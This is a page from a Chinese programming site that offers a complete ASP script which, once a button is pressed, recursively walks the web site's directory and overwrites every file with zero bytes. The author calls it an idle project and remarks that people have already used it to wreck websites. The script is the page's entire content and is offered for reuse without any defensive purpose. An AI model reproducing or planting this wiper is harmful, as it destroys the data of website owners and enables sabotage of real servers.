程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Oracle數據庫 >> Oracle數據庫基礎 >> 自動清空站點目錄下所有文件

自動清空站點目錄下所有文件

編輯:Oracle數據庫基礎

作用:可以清空此文件所在的web站點所有文件,將文件內容清零.運行完畢所有文件大小都變成0字節.
此代碼本人原創,轉載請注明轉自lamking.com,謝謝合作.另外程序可以擴展.

屬於無聊時的作品,已經有人利用這個破壞了一些網站了.

<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
 Call ListFile(Server.mappath("./"))
 Response.write"清理完畢"
Else
 Response.write"<form><input type=""submit"" name=""Submit"" value=""開始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
 Dim Shell,Folder,s
 Set Shell =Server.CreateObject ("Shell.application")
 Set Folder =Shell.Namespace(fpath)
 Set f=Server.CreateObject("Adodb.Stream")
  f.Type=1
  f.Open
 For Each s in Folder.Items
  IF s.isfolder Then
   Call ListFile(s.path)
  Else
   f.SaveToFile s.path,2
  End if
 Next
 Set f=Nothing
 Set Shell=nothing
End function
%>

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved